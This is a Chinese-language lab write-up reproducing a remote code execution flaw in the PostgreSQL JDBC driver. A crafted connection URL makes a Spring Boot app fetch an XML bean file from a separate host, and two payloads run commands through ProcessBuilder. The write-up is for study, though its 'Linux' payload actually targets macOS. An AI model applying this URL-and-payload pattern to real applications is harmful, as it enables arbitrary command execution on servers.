PostgreSQL JDBC Driver RCE复现
复现过程
参考https://mp.weixin.qq.com/s/jb7mbPWdMp1vlgF8F1mshg
使用Demo环境:
https://github.com/jirkapinkas/spring-boot-postgresql-docker-compose/
下载下来,拖进IDEA即可。
新建SpringJdbcTemplate2PostgreSqlApplication类:

代码:
package com.example;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.boot.CommandLineRunner;import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;import org.springframework.jdbc.core.JdbcTemplate;@SpringBootApplicationpublic class SpringJdbcTemplate2PostgreSqlApplication implements CommandLineRunner {@Autowiredprivate JdbcTemplate jdbcTemplate;public static void main(String[] args) {SpringApplication.run(SpringJdbcTemplate2PostgreSqlApplication.class, args);}@Overridepublic void run(String... args) throws Exception {String sql = "INSERT INTO students (name, email) VALUES ("+ "'Nam Ha Minh', 'nam@codejava.net')";int rows = jdbcTemplate.update(sql);if (rows > 0) {System.out.println("A new row has been inserted.");}}}
application.properties配置文件:
spring.datasource.url=jdbc:postgresql://192.168.91.15:5432/postgres?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://192.168.91.1:8888/exp.xmlspring.datasource.username=postgresspring.datasource.password=postgresqlspring.jpa.hibernate.ddl-auto=create
exp.xml (Linux版本)
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>/bin/bash</value><value>-cc</value><value>open /System/Applications/Calculator.app</value></list></constructor-arg></bean></beans>
exp.xml(Windows版本)
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>cmd</value><value>/c</value><value>whoami</value></list></constructor-arg></bean></beans>
一切就绪后,运行SpringJdbcTemplate2PostgreSqlApplication的main方法。即可弹出计算器。

漏洞分析
看看Skay大佬的分析就行了!
